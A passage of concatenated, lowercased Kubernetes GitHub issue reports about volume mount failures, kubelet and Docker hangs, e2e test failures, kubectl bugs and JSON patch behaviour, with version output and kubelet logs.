mounted volume. again, sometimes it is successful and the pod moves to another node.  sometimes not.\r \r   what you expected to happen  :\r \r upon  kubectl drain worker-3 , the following actions should occur:\r \r - pod terminated.\r - ebs persistent volume unmounted.\r - ebs persistent volume mounted on another node.\r - pod created and successfully run on another node where the ebs volume is.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - create a storage class for an ebs volume, persistent volume claim, and deployment that has a pod that uses the ebs volume.\r - drain the particular node. sometimes this will work as intended.\r \r   anything else do we need to know  :\r \r - i can provide the yml files as necessary.  \r - there is a second ebs volume, mounted at  /dev/xvde , mounted at  /mnt/ebs .  this is because the standard ami root drive is very small.  the docker path is there and the kubelet is symlinked there  /var/lib/kubelet -> /mnt/ebs/kubelet . i will test this deployment without the ebs volume and symlinks to verify.

kubectl delete deployment nginx  times-out  here  https://github.com/kubernetes/kubernetes/blob/e827393fa2335cc7ed89043e7f26ef9b32fc71a9/hack/make-rules/test-cmd-util.sh l2039  due to previous operations that happen to this deployment. this in turn causes further failures in the test-cmd code, due to previously existing pods from that test. \r \r i've initially tried forcing the removal, but it doesn't work b/c the pods are still left. i've spoke with @kargakis about it, he claims it might be due to recent changes to deployment reaping code. this is blocking  39614. \r \r @kubernetes/sig-apps-misc fyi\r \r

not sure why i got the strange go error return, see below:      ⧑ kubectl create -f kubernetes                                                                                                                                                                                                 cloud-api-stream f0130 22:25:11.697159   72147 create.go:78     <---- why???  ~/projects/cloud-server-api-stream ⧑ kubectl get pods                                                                                                                                                                                                             pod                                    ip                  container s         image s                                             host                                                                        labels                  status c3a42974-a8f8-11e4-bfb6-42010af0101c   10.20.2.5           cloud-api-stream    quay.io/littlebits/cloud-server-api-stream:0.2.13   k8s-littlecloud-3-node-3.c.littlebits-electronics.internal/104.154.40.252   name=cloud-api-stream   pending db5bd899-a8e8-11e4-bfb6-42010af0101c   10.20.0.4           etcd                quay.io/coreos/etcd:latest                          k8s-littlecloud-3-node-1.c.littlebits-electronics.internal/104.154.41.144   k8s-app=skydns          running                                                            kube2sky            kubernetes/kube2sky:1.0                                                            skydns              kubernetes/skydns:2014-12-23-001 bitlab-voteview                        10.20.1.4           bitlab-voteview     quay.io/littlebits/bitlab-voteview:latest           k8s-littlecloud-3-node-2.c.littlebits-electronics.internal/104.154.43.30    name=bitlab-voteview    running  ~/projects/cloud-server-api-stream ⧑ kubectl get services                                                                                                                                                                                                       master 05e4260 ? name                labels                                    selector            ip                  port kubernetes          component=apiserver,provider=kubernetes   <none>              10.23.243.201       443 kubernetes-ro       component=apiserver,provider=kubernetes   <none>              10.23.255.235       80 skydns              k8s-app=skydns                            k8s-app=skydns      10.23.240.10        53 api-stream          <none>                                    name=api-stream     10.23.250.66        8888  ~/projects/cloud-server-api-stream ⧑ kubectl get rc                                                                                                                                                                                                               controller          container s         image s                                             selector                replicas skydns              etcd                quay.io/coreos/etcd:latest                          k8s-app=skydns          1                     kube2sky            kubernetes/kube2sky:1.0                     skydns              kubernetes/skydns:2014-12-23-001 cloud-api-stream    cloud-api-stream    quay.io/littlebits/cloud-server-api-stream:0.2.13   name=cloud-api-stream   1  ~/projects/cloud-server-api-stream ⧑ kubectl version                                                                                                                                                                                                              client version: version.info{major:\ 0\ , minor:\ 9+\ , gitversion:\ v0.9.0-389-gaf25c3c671d592\ , gitcommit:\ af25c3c671d592bf8643d65d24fb8b37b3aec994\ , gittreestate:\ clean\ } server version: version.info{major:\ 0\ , minor:\ 9+\ , gitversion:\ v0.9.2-dirty\ , gitcommit:\ 013a97ea6e2a143f763035defdbcbcdc1b6d3411\ , gittreestate:\ dirty\ }

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r azure disk mount\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : linux k8s-master-268db7a4-0 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : huh\r -   others  :\r \r \r   what happened  :\r i scaled up an elastic-search statefulset .. i've been waiting for 24 hours for a pod to start. it is continuously failing to attach an azure disk. i tried attaching the disk manually through azure portal, tried to scale down then back up .. then i just left it to retry, maybe it will eventually succeed. 24 hours later, it still hasn't\r \r   what you expected to happen  :\r i expect disks to mount and pods to start in a few mins at most\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r    \r name:\t\telasticsearch-logging-1\r namespace:\tdefault\r node:\t\tk8s-agent-268db7a4-0/10.240.0.5\r start time:\tmon, 30 jan 2017 00:19:24 +0200\r labels:\t\tk8s-app=elasticsearch-logging\r \t\tversion=v1\r status:\t\tpending\r ip:\t\t\r controllers:\tstatefulset/elasticsearch-logging\r containers:\r   elasticsearch-logging:\r     container id:\t\r     image:\t\tgcr.io/google_containers/elasticsearch:v2.4.1\r     image id:\t\t\r     ports:\t\t9200/tcp, 9300/tcp\r     limits:\r       cpu:\t1\r     requests:\r       cpu:\t\t100m\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /data from es-persistent-storage  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-izgfd  ro \r     environment variables:\r       namespace:\tdefault  v1:metadata.namespace \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   es-persistent-storage:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tes-persistent-storage-elasticsearch-logging-1\r     readonly:\tfalse\r   default-token-izgfd:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-izgfd\r qos class:\tburstable\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   22h\t\t1m\t\t675\t{kubelet k8s-agent-268db7a4-0}\t\t\twarning\t\tfailedmount\tmountvolume.mountdevice failed for volume \ kubernetes.io/azure-disk/azk8s15mgmt-dynamic-pvc-b7e979e8-e662-11e6-88b4-000d3a26e684.vhd\   spec.name: \ pvc-b7e979e8-e662-11e6-88b4-000d3a26e684\   pod \ fd534ed5-e670-11e6-88b4-000d3a26e684\   uid: \ fd534ed5-e670-11e6-88b4-000d3a26e684\   with: mount failed: exit status 1\r mounting command: mount\r mounting arguments:  /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/azk8s15mgmt-dynamic-pvc-b7e979e8-e662-11e6-88b4-000d3a26e684.vhd ext4  defaults \r output: mount: can't find /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/azk8s15mgmt-dynamic-pvc-b7e979e8-e662-11e6-88b4-000d3a26e684.vhd in /etc/fstab\r \r \r   22h\t2s\t612\t{kubelet k8s-agent-268db7a4-0}\t\twarning\tfailedmount\tunable to mount volumes for pod \ elasticsearch-logging-1_default fd534ed5-e670-11e6-88b4-000d3a26e684 \ : timeout expired waiting for volumes to attach/mount for pod \ elasticsearch-logging-1\ /\ default\ . list of unattached/unmounted volumes= es-persistent-storage \r   22h\t2s\t612\t{kubelet k8s-agent-268db7a4-0}\t\twarning\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ elasticsearch-logging-1\ /\ default\ . list of unattached/unmounted volumes= es-persistent-storage \r

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master & 1.6\r \r   what happened  :\r  staging/src/k8s.io/apiserver/pkg/apis/example/v1/generated.proto  &  staging/src/k8s.io/apiserver/pkg/apis/example/v1/types.go  are out of date; and can not be updated by  ./hack/update-staging-client-go.sh \r \r \r /cc @sttts

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   is this a bug report or feature request?    choose one : bug\r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  linux ip-10-10-111-116 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux \r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r noticed in the morning helm could not connect to the tiller pod anymore, but could not see anything wrong with the container at first. killing the pod to restart a new one worked to the extent that a new pod was launched, but the old one was not terminated. taking a closer look at the node i saw it was reported as healthy, but had a last transition time of 10h ago . lots of events as well:\r    \r message                                       source                              sub-object count  first seen            last seen\r operation timeout: context deadline exceeded  kubelet ip-10-10-74-61.ec2.internal -          203    2017-03-08t23:15 utc  2017-03-09t09:21 utc\r    \r logging on to the instance, i got no response anymore from  docker ps .  sudo service docker restart  brought the daemon and node back to life. \r \r so my first issue would be that kubelet did not pick up on the daemon being down. \r besides this i checked the kubelet logs and it seems to have tripped over a particular pod:  snippet from around restart time \r    \r mar 08 23:10:40 ip-10-10-74-61 kubelet 1516 : i0308 23:10:40.231219    1516 prober.go:106  liveness probe for \ pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 :headless-shell\  failed  failure : get http://100.96.4.67:9222/: net/http: r\r mar 08 23:10:40 ip-10-10-74-61 kubelet 1516 : i0308 23:10:40.231276    1516 kubelet.go:1849  syncloop  container unhealthy : \ pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 \ \r mar 08 23:10:40 ip-10-10-74-61 kubelet 1516 : i0308 23:10:40.534089    1516 docker_manager.go:2074  pod \ pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 \  container \ headless-shell\  is unhealthy, it will be killed and re-created.\r mar 08 23:10:40 ip-10-10-74-61 kubelet 1516 : i0308 23:10:40.534138    1516 docker_manager.go:1564  killing container \ eac9505c10a82454ea6711d78c63675915d9e2cc7ed8b1383d6a9b96c2c0c570 headless-shell prod/pagefetcher-prod-2540679047-z7770\  with 30 second grace per\r mar 08 23:11:02 ip-10-10-74-61 kubelet 1516 : i0308 23:10:52.231277    1516 prober.go:106  liveness probe for \ pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 :pagefetcher\  failed  failure : get http://100.96.4.67:3000/healthcheck: net/\r mar 08 23:12:42 ip-10-10-74-61 kubelet 1516 : i0308 23:11:05.124076    1516 server.go:740  get /stats/summary/:  31.811319ms  200   go-http-client/1.1  10.10.49.138:37732 \r mar 08 23:11:30 ip-10-10-74-61 systemd 1 : started kubernetes kubelet server.\r mar 08 23:12:44 ip-10-10-74-61 systemd 1 : kubelet.service holdoff time over, scheduling restart.\r mar 08 23:12:44 ip-10-10-74-61 systemd 1 : stopping kubernetes kubelet server...\r mar 08 23:12:44 ip-10-10-74-61 systemd 1 : starting kubernetes kubelet server...\r mar 08 23:12:44 ip-10-10-74-61 systemd 1 : started kubernetes kubelet server.\r mar 08 23:12:44 ip-10-10-74-61 kubelet 5259 : flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version.\r mar 08 23:12:44 ip-10-10-74-61 kubelet 5259 : flag --babysit-daemons has been deprecated, will be removed in a future version.\r mar 08 23:12:44 ip-10-10-74-61 kubelet 5259 : i0308 23:12:44.983841    5259 feature_gate.go:181  feature gates: map  \r mar 08 23:12:44 ip-10-10-74-61 kubelet 5259 : i0308 23:12:44.984823    5259 aws.go:746  building aws cloudprovider\r mar 08 23:12:44 ip-10-10-74-61 kubelet 5259 : i0308 23:12:44.984888    5259 aws.go:700  zone not specified in configuration file; querying aws metadata service\r mar 08 23:12:45 ip-10-10-74-61 kubelet 5259 : i0308 23:12:45.184620    5259 aws.go:832  aws cloud filtering on tags: map kubernetescluster:k8s.core.example.com \r mar 08 23:12:45 ip-10-10-74-61 kubelet 5259 : i0308 23:12:45.184710    5259 server.go:369  successfully initialized cloud provider: \ aws\  from the config file: \ \ \r mar 08 23:12:45 ip-10-10-74-61 kubelet 5259 : i0308 23:12:45.190972    5259 docker.go:356  connecting to docker on unix:///var/run/docker.sock\r mar 08 23:12:45 ip-10-10-74-61 kubelet 5259 : i0308 23:12:45.191003    5259 docker.go:376  start docker client with request timeout=2m0s \r     \r kubelet goes on to restart after this, coming with the following logs after a while:\r \r    \r mar 08 23:12:45 ip-10-10-74-61 kubelet 5259 : i0308 23:12:45.504596    5259 kubelet_network.go:226  setting pod cidr:  -> 100.96.4.0/24\r mar 08 23:12:45 ip-10-10-74-61 kubelet 5259 : i0308 23:12:45.558400    5259 kubelet_node_status.go:358  recording nodenotready event message for node ip-10-10-74-61.ec2.internal\r mar 08 23:12:46 ip-10-10-74-61 kubelet 5259 : i0308 23:12:46.308292    5259 helpers.go:101  unable to get network stats from pid 7842: couldn't read network stats: failure opening /proc/7842/net/dev: open /proc/7842/net/dev: no such file or directory\r mar 08 23:12:46 ip-10-10-74-61 kubelet 5259 : i0308 23:12:46.307665    5259 manager.go:293  recovery completed\r ...\r ...\r mar 08 23:12:50 ip-10-10-74-61 kubelet 5259 : w0308 23:12:50.760353    5259 prober.go:98  no ref for container \ docker://eac9505c10a82454ea6711d78c63675915d9e2cc7ed8b1383d6a9b96c2c0c570\   pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 \r mar 08 23:12:50 ip-10-10-74-61 kubelet 5259 : i0308 23:12:50.760372    5259 prober.go:106  liveness probe for \ pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 :headless-shell\  failed  failure : get http://100.96.4.67:9222/: dial tcp 10\r mar 08 23:12:50 ip-10-10-74-61 kubelet 5259 : i0308 23:12:50.760410    5259 kubelet.go:1849  syncloop  container unhealthy : \ pagefetcher-prod-2540679047-z7770_prod 58df921f-ff1f-11e6-9692-12b3f43365d0 \ \r    \r and then moving to a \ normal\  state with some error messages in between:\r    \r mar 08 23:15:19 ip-10-10-74-61 kubelet 5259 : i0308 23:15:19.437549    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:15:19 ip-10-10-74-61 kubelet 5259 : i0308 23:15:19.437572    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:15:19 ip-10-10-74-61 kubelet 5259 : w0308 23:15:19.636482    5259 docker_manager.go:1607  container \ eac9505c10a82454ea6711d78c63675915d9e2cc7ed8b1383d6a9b96c2c0c570 headless-shell prod/pagefetcher-prod-2540679047-z7770\  termination failed after 2m0.0\r mar 08 23:15:19 ip-10-10-74-61 kubelet 5259 : w0308 23:15:19.636533    5259 docker_manager.go:1611  no ref for pod '\ eac9505c10a82454ea6711d78c63675915d9e2cc7ed8b1383d6a9b96c2c0c570 headless-shell prod/pagefetcher-prod-2540679047-z7770\ '\r mar 08 23:15:19 ip-10-10-74-61 kubelet 5259 : e0308 23:15:19.636568    5259 docker_manager.go:2155  error killing container \ headless-shell\  id={\ docker\  \ eac9505c10a82454ea6711d78c63675915d9e2cc7ed8b1383d6a9b96c2c0c570\ }  for pod \ pagefetcher-prod-2540679047-z\r mar 08 23:15:19 ip-10-10-74-61 kubelet 5259 : e0308 23:15:19.636671    5259 pod_workers.go:184  error syncing pod 58df921f-ff1f-11e6-9692-12b3f43365d0, skipping: failed to \ killcontainer\  for \ headless-shell\  with killcontainererror: \ operation timeout: context\r mar 08 23:15:20 ip-10-10-74-61 kubelet 5259 : e0308 23:15:20.103307    5259 generic.go:197  genericpleg: unable to retrieve pods: operation timeout: context deadline exceeded\r mar 08 23:15:20 ip-10-10-74-61 kubelet 5259 : i0308 23:15:20.556138    5259 helpers.go:101  unable to get network stats from pid 7842: couldn't read network stats: failure opening /proc/7842/net/dev: open /proc/7842/net/dev: no such file or directory\r mar 08 23:15:21 ip-10-10-74-61 kubelet 5259 : e0308 23:15:21.334054    5259 kubelet_pods.go:710  error listing containers: dockertools.operationtimeout{err:context.deadlineexceedederror{}}\r mar 08 23:15:21 ip-10-10-74-61 kubelet 5259 : e0308 23:15:21.334087    5259 kubelet.go:1860  failed cleaning pods: operation timeout: context deadline exceeded\r mar 08 23:15:29 ip-10-10-74-61 kubelet 5259 : i0308 23:15:29.469360    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:15:29 ip-10-10-74-61 kubelet 5259 : i0308 23:15:29.469385    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r    \r    \r mar 08 23:16:30 ip-10-10-74-61 systemd 1 : started kubernetes kubelet server.\r mar 08 23:16:39 ip-10-10-74-61 kubelet 5259 : i0308 23:16:39.311226    5259 helpers.go:101  unable to get network stats from pid 7842: couldn't read network stats: failure opening /proc/7842/net/dev: open /proc/7842/net/dev: no such file or directory\r mar 08 23:16:39 ip-10-10-74-61 kubelet 5259 : i0308 23:16:39.587627    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:16:39 ip-10-10-74-61 kubelet 5259 : i0308 23:16:39.587652    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:16:49 ip-10-10-74-61 kubelet 5259 : i0308 23:16:49.607282    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:16:49 ip-10-10-74-61 kubelet 5259 : i0308 23:16:49.607310    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:16:55 ip-10-10-74-61 kubelet 5259 : i0308 23:16:55.306375    5259 helpers.go:101  unable to get network stats from pid 7842: couldn't read network stats: failure opening /proc/7842/net/dev: open /proc/7842/net/dev: no such file or directory\r mar 08 23:16:59 ip-10-10-74-61 kubelet 5259 : i0308 23:16:59.632820    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:16:59 ip-10-10-74-61 kubelet 5259 : i0308 23:16:59.632853    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:05 ip-10-10-74-61 kubelet 5259 : i0308 23:17:05.050940    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:05 ip-10-10-74-61 kubelet 5259 : i0308 23:17:05.050966    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:05 ip-10-10-74-61 kubelet 5259 : i0308 23:17:05.064216    5259 server.go:740  get /stats/summary/:  18.954343ms  200   go-http-client/1.1  10.10.49.138:41478 \r mar 08 23:17:09 ip-10-10-74-61 kubelet 5259 : i0308 23:17:09.647032    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:09 ip-10-10-74-61 kubelet 5259 : i0308 23:17:09.647066    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:12 ip-10-10-74-61 kubelet 5259 : i0308 23:17:12.153612    5259 helpers.go:101  unable to get network stats from pid 7842: couldn't read network stats: failure opening /proc/7842/net/dev: open /proc/7842/net/dev: no such file or directory\r mar 08 23:17:19 ip-10-10-74-61 kubelet 5259 : i0308 23:17:19.661440    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:19 ip-10-10-74-61 kubelet 5259 : i0308 23:17:19.661463    5259 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r mar 08 23:17:21 ip-10-10-74-61 kubelet 5259 : e0308 23:17:21.103795    5259 generic.go:197  genericpleg: unable to retrieve pods: operation timeout: context deadline exceeded\r mar 08 23:17:21 ip-10-10-74-61 kubelet 5259 : e0308 23:17:21.334322    5259 kubelet_pods.go:710  error listing containers: dockertools.operationtimeout{err:context.deadlineexceedederror{}}\r mar 08 23:17:21 ip-10-10-74-61 kubelet 5259 : e0308 23:17:21.334351    5259 kubelet.go:1860  failed cleaning pods: operation timeout: context deadline exceeded\r    \r these logs pretty much kept repeating themselves until i restarted the daemon\r \r   what you expected to happen  :\r kubelet noticing docker daemon had hung and reporting the node as unhealthy, and not to struggle with the failed pod afterwards\r \r   how to reproduce it    as minimally and precisely as possible :\r have not been able to reproduce it\r \r   anything else we need to know  :\r \r

failure cluster  3639929b1f6d998c80d4  https://go.k8s.io/triage 3639929b1f6d998c80d4        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:210 may 25 01:05:38.201: error waiting for all pods to be running and ready: 2 / 11 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                                  node                                         phase   grace conditions kube-dns-3439399825-9bhbz            gke-bootstrap-e2e-default-pool-f3380b97-jqw6 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-05-25 00:49:56 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-05-25 00:49:56 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-05-25 00:49:56 -0700 pdt  }  kubernetes-dashboard-823199516-j4hfz gke-bootstrap-e2e-default-pool-f3380b97-jqw6 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-05-25 00:49:55 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-05-25 00:59:47 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-05-25 00:49:55 -0700 pdt  }   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:161           failure cluster statistics: 1 tests failed,    2 jobs failed,    97 builds failed. failure stats cover 1 day time range '25 may 2017 13:03 utc' to '26 may 2017 13:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-pre-release | 52 |  26 may 2017 12:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-pre-release/2254  | | ci-kubernetes-e2e-gke-pre-release | 45 |  26 may 2017 11:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-pre-release/2257  |   current status  https://go.k8s.io/triage 3639929b1f6d998c80d4

is this a bug report or feature request?  :\r >  \r as part of the initiative for external cloud providers  https://github.com/kubernetes/kubernetes/issues/48690 , we added getzonebyproviderid and getzonebynodename. see https://github.com/kubernetes/kubernetes/pull/50858 for more details. the previous pr did not actually implement those methods for existing cloud providers in  pkg/cloudprovider/providers . these methods should be implemented by all cloud providers in the future. \r \r cc @wlan0 \r

some cluster e2e tests ssh into the node and use  docker ps  and  docker kill  to operate containers directly, such as:\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go l3905\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go l3936\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go l3963\r \r we should install  crictl  during bootstrap and those tests should use  crictl  instead.\r \r @yujuhong @feiskyer @mrunalp \r /cc @kubernetes/sig-node-bugs  @kubernetes/sig-testing-bugs \r

got this on 1.9.  might be something about my environment, but this should work  anything with a pod template should be exposable.\r \r    \r $ kubectl expose sts/application-liveness --dry-run -o yaml\r error: cannot expose a {apps statefulset}\r

is this a bug report or feature request?  :\r \r   \r @kubernetes/sig-cli-bugs\r \r \r   what happened  :\r \r with kubectl client version 1.9.0, in the secrets of the type  docker-registry  generated with  kubectl create secret docker-registry my-secret  the name of the key is  .dockercfg .\r the direct consequence being that the serviceaccounts and other resources using a generated  docker-registry  secret won't be able to pull docker images.\r \r   what you expected to happen  :\r \r in order to match k8s 1.9.0 specifications/documentation, the name of the key in the  docker-registry  secret should be  .dockerconfigjson \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r auto-generate a  docker-registry  type secret with the  kubectl  client in version 1.9.0.\r e.g.: \r \r    \r kubectl -n my-namespace create secret docker-registry my-docker-secret \\\r   --docker-server=my-docker-server-url \\\r   --docker-username=my-docker-user-id \\\r   --docker-password=my-docker-user-password \\\r   --docker-email=my-docker-user-email\r    \r edit or get said secret to note that the key is named  .dockercfg  instead of  .dockerconfigjson \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0+coreos.0\ , gitcommit:\ 1b69a2a6c01194421b0aa17747a8c1a81738a8dd\ , gittreestate:\ clean\ , builddate:\ 2017-12-19t02:52:15z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r  openstack newton \r - os  e.g. from /etc/os-release :\r \r  coreos \r - kernel  e.g.  uname -a  :\r \r  linux node1-public 4.14.19-coreos  1 smp wed feb 14 03:18:05 utc 2018 x86_64 intel core processor  broadwell  genuineintel gnu/linux \r - install tools:\r \r  kubespray  commit fd04c14260605e999a6c1889a1c75239184806d8  \r - others:\r \r  n/a

    what happened  :  kubelet does't add the csi driver label to the node if  csidriverinfo  alpha feature is disabled, which is the default behaviour.       $ kubectl get nodes --show-labels name                           status   roles    age   version                                     labels ip-172-18-15-56.ec2.internal   ready    <none>   76s   v1.13.0-alpha.0.2309+02cca1f11a8ae5-dirty   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=t2.medium,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-east-1,failure-domain.beta.kubernetes.io/zone=us-east-1d,kubernetes.io/hostname=ip-172-18-15-56.ec2.internal      this causes the a pod that uses a csi volume  created with ebs csi driver  to failed with:      warning  failedmount             6s  x25 over 8s   kubelet, ip-172-18-15-56.ec2.internal  mountvolume.nodeaffinity check failed for volume \ pvc-679f9e80-d084-11e8-8509-0ecfa83a9ab2\  : no matching nodeselectorterms        what you expected to happen  :  i expect kubelet to label the node accordingly, even though  csidriverinfo  alpha feature is disabled. example:      $ kubectl get nodes --show-labels ip-172-18-15-56.ec2.internal   ready    <none>   14s   v1.13.0-alpha.0.2309+02cca1f11a8ae5-dirty   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=t2.medium,beta.kubernetes.io/os=linux,com.amazon.aws.csi.ebs/zone=us-east-1d,failure-domain.beta.kubernetes.io/region=us-east-1,failure-domain.beta.kubernetes.io/zone=us-east-1d,kubernetes.io/hostname=ip-172-18-15-56.ec2.internal      /assign 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r    \r $ kubectl patch deployment myapp --type='json' -p=' {\ op\ : \ add\ , \ path\ :\ /spec/tolerations\ , \ value\ :  } '\r deployment.extensions/myapp patched\r \r $ kubectl patch deployment myapp --type='json' -p=' {\ op\ : \ replace\ , \ path\ :\ /spec/tolerations\ , \ value\ :  } '\r error from server: jsonpatch replace operation does not apply: doc is missing key: /spec/tolerations\r    \r \r   what you expected to happen  :\r the last patch to work. if the first patch is a success, i'd expect i can run the the later too.\r \r yes, i know that running the latter does not really make any sense functionality wise.\r \r i'd expect that the client should not need to know about  null  and an empty array  and possibly many other things  being the same thing on the api side and resulting in the object not actually setting the given key at all.\r \r so maybe a  replace  operation should/could be handled as in  add  for a missing key on server side? \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a deployment with:\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: myapp\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       app: myapp\r   template:\r     